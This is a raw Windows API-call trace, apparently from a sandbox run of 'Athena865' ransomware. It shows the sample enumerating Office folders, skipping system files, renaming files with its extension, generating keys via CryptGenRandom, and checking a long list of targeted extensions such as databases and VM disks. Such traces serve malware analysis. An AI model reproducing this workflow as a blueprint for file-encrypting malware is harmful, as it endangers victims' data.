RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.484] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.485] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.485] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.485] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa70, lpName=0x0) returned 0x17c [0141.486] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa70) returned 0x100000 [0141.487] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.488] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.488] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.489] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.489] CloseHandle (hObject=0x17c) returned 1 [0141.489] CloseHandle (hObject=0x154) returned 1 [0141.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.489] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37deba00, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37deba00, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INVENTRY.VRD", cAlternateFileName="")) returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2=".") returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="..") returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="windows") returned -1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="bootmgr") returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="temp") returned -1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="pagefile.sys") returned -1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="boot") returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="ids.txt") returned 1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="ntuser.dat") returned -1 [0141.490] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="perflogs") returned -1 [0141.491] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2="MSBuild") returned -1 [0141.491] lstrlenW (lpString="INVENTRY.VRD") returned 12 [0141.491] lstrcpyW (in: lpString1=0x241e8a8, lpString2="INVENTRY.VRD" | out: lpString1="INVENTRY.VRD") returned="INVENTRY.VRD" [0141.491] lstrlenW (lpString="INVENTRY.VRD") returned 12 [0141.491] lstrlenW (lpString="Athena865") returned 9 [0141.491] lstrcmpiW (lpString1="ENTRY.VRD", lpString2="Athena865") returned 1 [0141.491] lstrlenW (lpString=".dll") returned 4 [0141.491] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2=".dll") returned 1 [0141.491] lstrlenW (lpString=".lnk") returned 4 [0141.491] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2=".lnk") returned 1 [0141.491] lstrlenW (lpString=".ini") returned 4 [0141.491] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2=".ini") returned 1 [0141.491] lstrlenW (lpString=".sys") returned 4 [0141.491] lstrcmpiW (lpString1="INVENTRY.VRD", lpString2=".sys") returned 1 [0141.491] lstrlenW (lpString="INVENTRY.VRD") returned 12 [0141.491] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.Athena865") returned 70 [0141.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.athena865"), dwFlags=0x1) returned 1 [0141.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.493] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=818) returned 1 [0141.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.493] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.494] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.494] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.494] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x17c [0141.498] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000 [0141.498] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.499] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.499] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.500] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.500] CloseHandle (hObject=0x17c) returned 1 [0141.500] CloseHandle (hObject=0x154) returned 1 [0141.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.500] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3491f00, ftCreationTime.dwHighDateTime=0x1ca0f52, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3491f00, ftLastWriteTime.dwHighDateTime=0x1ca0f52, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Invite or Link.one", cAlternateFileName="INVITE~1.ONE")) returned 1 [0141.500] lstrcmpiW (lpString1="Invite or Link.one", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.500] lstrcmpiW (lpString1="Invite or Link.one", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.500] lstrcmpiW (lpString1="Invite or Link.one", lpString2=".") returned 1 [0141.500] lstrcmpiW (lpString1="Invite or Link.one", lpString2="..") returned 1 [0141.500] lstrcmpiW (lpString1="Invite or Link.one", lpString2="windows") returned -1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="bootmgr") returned 1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="temp") returned -1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="pagefile.sys") returned -1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="boot") returned 1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="ids.txt") returned 1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="ntuser.dat") returned -1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="perflogs") returned -1 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2="MSBuild") returned -1 [0141.501] lstrlenW (lpString="Invite or Link.one") returned 18 [0141.501] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Invite or Link.one" | out: lpString1="Invite or Link.one") returned="Invite or Link.one" [0141.501] lstrlenW (lpString="Invite or Link.one") returned 18 [0141.501] lstrlenW (lpString="Athena865") returned 9 [0141.501] lstrcmpiW (lpString1=" Link.one", lpString2="Athena865") returned -1 [0141.501] lstrlenW (lpString=".dll") returned 4 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2=".dll") returned 1 [0141.501] lstrlenW (lpString=".lnk") returned 4 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2=".lnk") returned 1 [0141.501] lstrlenW (lpString=".ini") returned 4 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2=".ini") returned 1 [0141.501] lstrlenW (lpString=".sys") returned 4 [0141.501] lstrcmpiW (lpString1="Invite or Link.one", lpString2=".sys") returned 1 [0141.501] lstrlenW (lpString="Invite or Link.one") returned 18 [0141.501] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.Athena865") returned 76 [0141.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one.athena865"), dwFlags=0x1) returned 1 [0141.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.503] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11208) returned 1 [0141.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.504] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.505] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.505] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.505] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ed0, lpName=0x0) returned 0x17c [0141.506] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ed0) returned 0x100000 [0141.507] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.508] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.508] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.509] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.509] CloseHandle (hObject=0x17c) returned 1 [0141.509] CloseHandle (hObject=0x154) returned 1 [0141.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.509] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x22a590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPDSINTL.DLL", cAlternateFileName="")) returned 1 [0141.509] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.509] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.509] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2=".") returned 1 [0141.509] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="..") returned 1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="windows") returned -1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="bootmgr") returned 1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="temp") returned -1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="pagefile.sys") returned -1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="boot") returned 1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="ids.txt") returned 1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="ntuser.dat") returned -1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="perflogs") returned -1 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2="MSBuild") returned -1 [0141.510] lstrlenW (lpString="IPDSINTL.DLL") returned 12 [0141.510] lstrcpyW (in: lpString1=0x241e8a8, lpString2="IPDSINTL.DLL" | out: lpString1="IPDSINTL.DLL") returned="IPDSINTL.DLL" [0141.510] lstrlenW (lpString="IPDSINTL.DLL") returned 12 [0141.510] lstrlenW (lpString="Athena865") returned 9 [0141.510] lstrcmpiW (lpString1="SINTL.DLL", lpString2="Athena865") returned 1 [0141.510] lstrlenW (lpString=".dll") returned 4 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2=".dll") returned 1 [0141.510] lstrlenW (lpString=".lnk") returned 4 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2=".lnk") returned 1 [0141.510] lstrlenW (lpString=".ini") returned 4 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2=".ini") returned 1 [0141.510] lstrlenW (lpString=".sys") returned 4 [0141.510] lstrcmpiW (lpString1="IPDSINTL.DLL", lpString2=".sys") returned 1 [0141.510] lstrlenW (lpString="IPDSINTL.DLL") returned 12 [0141.510] lstrlenW (lpString="bak") returned 3 [0141.510] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0141.510] lstrlenW (lpString="ba_") returned 3 [0141.510] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0141.510] lstrlenW (lpString="dbb") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0141.511] lstrlenW (lpString="vmdk") returned 4 [0141.511] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0141.511] lstrlenW (lpString="rar") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0141.511] lstrlenW (lpString="zip") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0141.511] lstrlenW (lpString="tgz") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0141.511] lstrlenW (lpString="vbox") returned 4 [0141.511] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0141.511] lstrlenW (lpString="vdi") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0141.511] lstrlenW (lpString="vhd") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0141.511] lstrlenW (lpString="vhdx") returned 4 [0141.511] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0141.511] lstrlenW (lpString="avhd") returned 4 [0141.511] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0141.511] lstrlenW (lpString="db") returned 2 [0141.511] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0141.511] lstrlenW (lpString="db2") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0141.511] lstrlenW (lpString="db3") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0141.511] lstrlenW (lpString="dbf") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0141.511] lstrlenW (lpString="mdf") returned 3 [0141.511] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0141.511] lstrlenW (lpString="mdb") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0141.512] lstrlenW (lpString="sql") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0141.512] lstrlenW (lpString="sqlite") returned 6 [0141.512] lstrcmpiW (lpString1="TL.DLL", lpString2="sqlite") returned 1 [0141.512] lstrlenW (lpString="sqlite3") returned 7 [0141.512] lstrcmpiW (lpString1="NTL.DLL", lpString2="sqlite3") returned -1 [0141.512] lstrlenW (lpString="sqlitedb") returned 8 [0141.512] lstrcmpiW (lpString1="INTL.DLL", lpString2="sqlitedb") returned -1 [0141.512] lstrlenW (lpString="xml") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0141.512] lstrlenW (lpString="$er") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0141.512] lstrlenW (lpString="4dd") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0141.512] lstrlenW (lpString="4dl") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0141.512] lstrlenW (lpString="^^^") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0141.512] lstrlenW (lpString="abs") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0141.512] lstrlenW (lpString="abx") returned 3 [0141.512] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0141.512] lstrlenW (lpString="accdb") returned 5 [0141.512] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0141.512] lstrlenW (lpString="accdc") returned 5 [0141.512] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0141.512] lstrlenW (lpString="accde") returned 5 [0141.512] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0141.512] lstrlenW (lpString="accdr") returned 5 [0141.512] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0141.513] lstrlenW (lpString="accdt") returned 5 [0141.513] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0141.513] lstrlenW (lpString="accdw") returned 5 [0141.513] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0141.513] lstrlenW (lpString="accft") returned 5 [0141.513] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0141.513] lstrlenW (lpString="adb") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0141.513] lstrlenW (lpString="adb") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0141.513] lstrlenW (lpString="ade") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0141.513] lstrlenW (lpString="adf") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0141.513] lstrlenW (lpString="adn") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0141.513] lstrlenW (lpString="adp") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0141.513] lstrlenW (lpString="alf") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0141.513] lstrlenW (lpString="ask") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0141.513] lstrlenW (lpString="btr") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0141.513] lstrlenW (lpString="cat") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0141.513] lstrlenW (lpString="cdb") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0141.513] lstrlenW (lpString="ckp") returned 3 [0141.513] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0141.514] lstrlenW (lpString="cma") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0141.514] lstrlenW (lpString="cpd") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0141.514] lstrlenW (lpString="dacpac") returned 6 [0141.514] lstrcmpiW (lpString1="TL.DLL", lpString2="dacpac") returned 1 [0141.514] lstrlenW (lpString="dad") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0141.514] lstrlenW (lpString="dadiagrams") returned 10 [0141.514] lstrcmpiW (lpString1="DSINTL.DLL", lpString2="dadiagrams") returned 1 [0141.514] lstrlenW (lpString="daschema") returned 8 [0141.514] lstrcmpiW (lpString1="INTL.DLL", lpString2="daschema") returned 1 [0141.514] lstrlenW (lpString="db-journal") returned 10 [0141.514] lstrcmpiW (lpString1="DSINTL.DLL", lpString2="db-journal") returned 1 [0141.514] lstrlenW (lpString="db-shm") returned 6 [0141.514] lstrcmpiW (lpString1="TL.DLL", lpString2="db-shm") returned 1 [0141.514] lstrlenW (lpString="db-wal") returned 6 [0141.514] lstrcmpiW (lpString1="TL.DLL", lpString2="db-wal") returned 1 [0141.514] lstrlenW (lpString="dbc") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0141.514] lstrlenW (lpString="dbs") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0141.514] lstrlenW (lpString="dbt") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0141.514] lstrlenW (lpString="dbv") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0141.514] lstrlenW (lpString="dbx") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0141.514] lstrlenW (lpString="dcb") returned 3 [0141.514] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0141.515] lstrlenW (lpString="dct") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0141.515] lstrlenW (lpString="dcx") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0141.515] lstrlenW (lpString="ddl") returned 3 [0141.515] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0141.515] lstrlenW (lpString="dlis") returned 4 [0141.515] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0141.515] lstrlenW (lpString="dp1") returned 3 [0141.515] 